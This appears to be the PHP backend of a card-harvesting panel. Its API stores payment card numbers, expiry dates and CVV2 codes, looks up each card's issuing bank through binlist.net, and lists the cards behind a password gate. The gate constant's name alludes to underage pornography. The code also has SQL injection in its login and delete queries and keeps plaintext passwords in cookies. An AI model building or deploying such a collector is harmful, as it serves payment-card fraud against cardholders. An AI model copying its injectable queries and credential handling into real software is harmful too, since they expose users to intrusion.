php if defined __PORNO__MALOLETKI__ header Location exit define PATH s

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
if(!defined('__PORNO__MALOLETKI__')){
header("Location: /");
exit;
}
define('PATH', str_replace('\\', '/', getcwd()).'/');
define('SMARTY_DIR', PATH.'Smarty/');
require_once SMARTY_DIR.'Smarty.class.php';
class Engine {
protected $mysqli, $ini, $smarty;
public function __construct() {
$this->smarty = new Smarty();
$this->smarty->setTemplateDir(PATH.'template');
$this->smarty->setCompileDir(PATH.'template/compile');
$this->smarty->setCacheDir(PATH.'template/cache');
$this->ini = parse_ini_file('settings.ini', true);
$this->mysqli = new mysqli($this->ini['MySQL']['host'], $this->ini['MySQL']['user'], $this->ini['MySQL']['password'], $this->ini['MySQL']['db']);
}
public function showPorevo() {
if(!$this->check()) {
if($_SERVER['REQUEST_METHOD'] == 'POST')
if($this->auth($_POST['id'], $_POST['password'])){
setcookie('id', $_POST['id'], time() + 30 * 24 * 60 * 60);
setcookie('password', $_POST['password'], time() + 30 * 24 * 60 * 60);
header('Location: /porevo/');
exit;
}
$this->smarty->assign('image', rand(1,5));
$this->smarty->display('porevo.tpl');
} else {
if(isset($_GET['del']) && intval($_GET['del']) > 0)
$this->mysqli->query("DELETE FROM cards WHERE id = '$_GET[del]'");
$sql = $this->mysqli->query("SELECT * FROM cards ORDER BY id DESC");
$arr = array();
$i = 0;
while($row = $sql->fetch_assoc()) {
$q = json_decode($row['data'], true);
$arr[$i] = $row;
$arr[$i]['cn'] = $q['country_code'];
$arr[$i]['bank'] = $q['bank'];
$arr[$i]['b'] = $q['brand'];
$i++;
}
$this->smarty->assign('cards', $arr);
$this->smarty->display('porevo_home.tpl');
}
}
public function auth($id, $password) {
return (boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM users WHERE id='".$id."' AND password='".$this->mysqli->escape_string($password)."'")->fetch_assoc());
}
protected function getUID() {
return intval(@$_GET['id']);
}
protected function check() {
if(isset($_COOKIE['id']) && isset($_COOKIE['password']) && !empty($_COOKIE['id']) && !empty($_COOKIE['password']))
return $this->auth($_COOKIE['id'], $_COOKIE['password']);
return $this->auth($this->getUID(), @$_GET['password']);
}
protected function checkExpire($expire) {
return intval(substr($expire, 2)) < intval(date('y')) || (intval(substr($expire, 2)) >= intval(date('y')) && intval(substr($expire, 0, 2)) < intval(date('m'))) ? false : true;
}
public function addCard($number) {
if($this->checkCard($number)) {
$this->mysqli->query("INSERT INTO cards (number, data) VALUES ('".$this->mysqli->escape_string($number)."', '".$this->mysqli->escape_string($this->getBinData(substr($number, 0, 6)))."')");
$this->apiEcho(array('status' => 'success'));
}else
$this->apiEcho(array('status' => 'error'));
}
public function addExpire($card, $expire) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
if($this->checkExpire($expire))
$this->mysqli->query("UPDATE cards SET expire='".$this->mysqli->escape_string($expire)."' WHERE number='".$this->mysqli->escape_string($card)."'");
else
$this->apiEcho(array('status' => 'error_expire'));
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function addCVV2($card, $cvv2) {
if((boolean) current($this->mysqli->query("SELECT COUNT(id) as count FROM cards WHERE number='".$this->mysqli->escape_string($card)."'")->fetch_assoc())) {
$this->mysqli->query("UPDATE cards SET cvv2='".$this->mysqli->escape_string($cvv2)."' WHERE number='".$this->mysqli->escape_string($card)."'");
$this->apiEcho(array('status' => 'success'));
} else
$this->apiEcho(array('status' => 'error'));
}
public function apiEcho($arr) {
die(json_encode($arr));
}
protected function checkCard($number) {
return !preg_match('/not found/', $this->getBinData(substr($number, 0, 6)));
}
protected function getBinData($bin) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => 'http://www.binlist.net/json/'.intval($bin)
));
return curl_exec($ch);
}
}